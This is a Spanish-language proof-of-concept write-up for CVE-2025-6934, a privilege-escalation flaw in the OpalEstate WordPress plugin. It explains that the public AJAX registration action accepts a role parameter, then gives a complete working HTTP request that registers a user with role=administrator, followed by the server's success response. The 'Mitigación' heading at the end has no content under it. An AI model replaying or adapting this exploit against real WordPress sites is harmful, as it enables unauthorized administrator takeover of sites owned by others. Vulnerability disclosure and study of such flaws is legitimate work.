
CVE-2025-6934 POC
El plugin OpalEstate para WordPress contiene una vulnerabilidad crítica en su manejador de registro AJAX, que permite a usuarios no autenticados registrarse como administradores.
El problema radica en el manejo inseguro del parámetro role en la acción AJAX opalestate_register_form, que se expone públicamente a través de admin-ajax.php. Un atacante con un nonce válido puede escalar privilegios simplemente enviando el campo role=administrator, lo que resulta en el compromiso total del sitio.
ID de CVE: CVE-2025-6934 Puntuación CVSS: 9.8 (Crítica) Publicado: 30 de junio de 2025
POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1 Host: localhost Content-Length: 231 sec-ch-ua-platform: "Windows" Accept-Language: en-US,en;q=0.9 sec-ch-ua: "Chromium";v="133", "Not(A:Brand";v="99" sec-ch-ua-mobile: ?0 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Accept: application/json, text/javascript, /; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://localhost Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost/wordpress/?page_id=16 Accept-Encoding: gzip, deflate, br Cookie: wp-settings-time-1=1750938057; wp-settings-1=libraryContent%3Dbrowse; wordpress_test_cookie=WP%20Cookie%20check; wp_lang=en_US; kawuda_cookie=1751024383267404614; PHPSESSID=rsbi6r8gs523c35v319f1jf4tt Connection: keep-alive
username=mrjtest&email=mrjtest%40gmail.com&password=123&password1=123&role=administrator&confirmed_register=on&opalestate-register-nonce=db20fa048c&_wp_http_referer=%2Fwordpress%2F%3Fpage_id%3D16&ajax=1&action=opalestate_register_form
HTTP/1.1 200 OK Date: Wed, 02 Jul 2025 14:19:23 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Pragma: no-cache Content-Length: 53 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/json; charset=UTF-8
{"status":true,"redirect":"/wordpress/?page_id=16"}
🛡️ Mitigación